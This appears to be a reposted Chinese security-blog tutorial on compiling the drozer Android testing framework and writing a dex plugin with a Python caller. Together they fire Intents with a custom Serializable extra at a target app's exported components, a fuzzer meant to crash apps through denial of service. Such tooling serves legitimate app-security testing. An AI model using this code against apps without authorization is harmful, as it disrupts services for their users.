自己动手开发Drozer插件之进阶篇

1.如何从源代码编译drozer

参照https://github.com/mwrlabs//blob/develop/INSTALLING

最好是在ubuntu或linux环境下安装好编译环境
* Java (自带或安装)
* Android Software Development Kit (google去下载sdk)
* Native Development Kit (google去下载ndk)
* Python 2.7 with development headers(自带)
* Python Setuptools(apt-get install python-setuptools)
* ia-32libs (64位得系统需要安装)

安装好drozer的Python依赖库
$ easy_install –allow-hosts pypi.python.org protobuf==2.4.1
$ easy_install twisted==10.2.0

克隆drozer的源代码
git clone git://github.com/mwrlabs/drozer/

到源代码根目录,将版本文件meta.py从src里拷贝到源代码drozer根目录下
cd drozer
cp src/drozer/meta.py .

修改Makefile文件
将DX环境变量指向dorzer源代码自带的dx
DX = $(CURDIR)/src/drozer/lib/dx
其他javac,NDKBUILD等环境变量按自己的系统环境指定。

编译安装
make
python setup.py install

 

2.编写自己的dex插件
之前在http://appscan.360.cn/blog/?p=45中,已经交大家如何写python插件,但drozer还有更强大的dex插件。

参考http://blogs.360.cn/blog/android-app%E9%80%9A%E7%94%A8%E5%9E%8B%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/

我们可以试着写一个超级拒绝服务的fuzz插件,这里为了方便直接进入drozer的公共模块代码目录里写自己的dex插件。
drozer/src/drozer/modules/common/IntentTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import android.content.Intent;
import android.content.Context;
import java.io.Serializable;

public class IntentTest {

public static class test implements Serializable {
}

public static boolean superfuzz_Activity(Context context ,String package_params, String compoment_params ){
Intent intent = new Intent();
intent.setClassName( package_params , compoment_params);
intent.putExtra(“serializable_key”,new test());
intent.setFlags(0x10000000);
context.startActivity(intent);
return true;
}

public static boolean superfuzz_Broadcast(Context context ,String package_params, String compoment_params ){
Intent intent = new Intent();
intent.setClassName( package_params , compoment_params);
intent.putExtra(“serializable_key”,new test());
context.sendBroadcast(intent);
return true;
}

public static boolean superfuzz_Service(Context context ,String package_params, String compoment_params ){
Intent intent = new Intent();
intent.setClassName( package_params , compoment_params);
intent.putExtra(“serializable_key”,new test());
context.startService(intent);
return true;
}

}

重新make,drozer/src/drozer/modules/common/下将多出一个IntentTest.apk和IntentTest$test.class,IntentTest.java先被javac编译成class,再被dx转换成IntentTest.apk

然后再重新安装drozer,不影响之前安装的drozer
python setup.py install

 

3.写python插件测试调用dex插件

先用self.loadClass动态加载common/IntentTest.apk,然后就可以指定调用函数方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from drozer.modules import common, Module

class test(Module,common.ClassLoader):
name = “”
description = “”
examples = “”
author = “”
date = “”
license = “”
path = [“exp”, “test”]

def execute(self, arguments):
IntentTest = self.loadClass(“common/IntentTest.apk”, “IntentTest”)
IntentTest.superfuzz_Activity(self.getContext(),“包名XX”,“组件名xx”)
IntentTest.superfuzz_Broadcast(self.getContext(),“包名XX”,“组件名xx”)
IntentTest.superfuzz_Service(self.getContext(),“包名XX”,“组件名xx”)

4.测试插件

直接针对某个包的导出组件进行自动化的Fuzz测试,效果还不错。

 

5.关于dex插件的原理

用java编写核心代码,用python调用,drozer可谓是安卓安全测试神器,这些功能是怎么实现的呢?

这里我只简单介绍下,具体可以看到下图插件的MD5值,drozer是通过protobuf协议传送本地插件apk文件到app的cache目录,然后动态加载的。

至于python是如何和dex插件交互的,建议大家深读下drozer的源代码,这里向drozer的作者致敬,能开发出如此强大的框架!

 

转载自:http://appscan.360.cn/blog/?p=150  作者:Rayh4c